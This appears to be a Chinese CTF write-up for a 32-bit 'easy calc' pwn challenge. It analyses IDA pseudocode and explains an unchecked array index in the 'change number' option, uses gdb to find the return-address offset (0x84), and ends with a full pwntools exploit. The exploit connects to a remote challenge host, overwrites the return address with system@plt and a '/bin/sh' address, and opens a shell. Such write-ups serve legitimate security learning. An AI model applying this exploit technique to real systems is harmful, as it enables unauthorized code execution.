查看保护机制 (有栈不可执行NX,有canary保护)
用IDA分析(查看伪代码)
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int v5; // [esp+18h] [ebp-90h]
unsigned int v6; // [esp+1Ch] [ebp-8Ch]
int v7; // [esp+20h] [ebp-88h]
unsigned int j; // [esp+24h] [ebp-84h]
int v9; // [esp+28h] [ebp-80h]
unsigned int i; // [esp+2Ch] [ebp-7Ch]
unsigned int k; // [esp+30h] [ebp-78h]
unsigned int l; // [esp+34h] [ebp-74h]
char v13[100]; // [esp+38h] [ebp-70h]
unsigned int v14; // [esp+9Ch] [ebp-Ch]
v14 = __readgsdword(0x14u); // canary
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
v9 = 0;
puts("***********************************************************");
puts("* An easy calc *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256) *");
puts("***********************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &v5);
puts("Give me your numbers");
for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
{
__isoc99_scanf("%d", &v7);
v13[i] = v7;
}
for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__isoc99_scanf("%d", &v6);
if ( v6 != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 0x63 )
{
v3 = j++;
v13[v3] = v7;
}
}
if ( v6 > 2 )
break;
if ( v6 != 1 )
return 0;
puts("id\t\tnumber");
for ( k = 0; k < j; ++k )
printf("%d\t\t%d\n", k, v13[k]);
}
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;
}
if ( v6 != 4 )
break;
v9 = 0;
for ( l = 0; l < j; ++l )
v9 += v13[l];
}
return 0;
}
太菜了,看了老半天没看出来,漏洞在哪,网上找了找大佬博客,本题的栈溢出并不是常规的read这种输入输出流,而是因为对v5没有任何检测,数组没有边界检查导致的,这样的栈溢出比较隐蔽。在第三个选项,change number里v13定义为char v13[100],但是在这里并没有边界的检查导致栈溢出。
而且发现存在后门函数(地址为:0x0804859B)
因为程序在一开始会给数组赋初值,并且这个过程是我们可以参与的。 考虑到一般的数组赋值会从首位开始,我们可以猜想,如果我们知道我们写入程序的第一个数据的存储位置是否我们就知道了数组的首地址?
那么首先,我们来求这个地址
程序一开始会给数组赋值,我们来看一下这一块的伪代码和汇编
原理很清楚,只要选changenumber就可以修改任意地址的数据,我们只要找到v13数据距离ret的距离,就可以获取shell。
经过下面的调试,可以发现ebp=v13+0x70,ret=v13+0x84。由于程序中虽然有函数hackhere可以让我们获取到system的plt,但是他的参数不是/bin/sh,所以需要自己填返回地址和参数。
首先要知道v13数组的一个参数存放的位置:
从汇编中可以看到程序通过scanf将数据存储到栈中,然后通过eax和ecx将数据存储到eax中存放的地址中去(cl是ecx的低位)
那意味着在程序运行到0x080486D5的位置时,此时eax中存放的即时数组的首地址 linux下我们用gdb调试的看一下
我们在0x080486D5的位置下个断点,输入点全部输入1(如下)
查看此时的各寄存器
看出eax中存放的地址,可以看到是0xffffd148
接下来查看当程序运行结束后esp指向的地址即为返回地址:
在0x080488f2出下断点,查看寄存器esp中的值:
可以看到esp中的地址为0xffffd1cc, 所以得到距离为:0xffffd1cc-0xffffd148 = 0x84
现在能控制返回地址(system.plt:0x08048450)及其后面(+0x4)的参数(/bin/sh:0x08048987),只要主程序返回即可进入我们挟持的程序执行流。
编写exp.py
from pwn import *
def send_num(addr,num):
io.sendlineafter("5. exit","3")
io.sendlineafter("which number to change:",str(addr))
io.sendlineafter("new number:",str(num))
io=remote("111.200.241.244",58388)
io.sendlineafter("you have:","1")
io.sendlineafter("your numbers","1")
send_num(0x84,0x50)
send_num(0x85,0x84)
send_num(0x86,0x04)
send_num(0x87,0x08)
send_num(0x8c,0x87)
send_num(0x8d,0x89)
send_num(0x8e,0x04)
send_num(0x8f,0x08)
io.sendline("5")
io.interactive()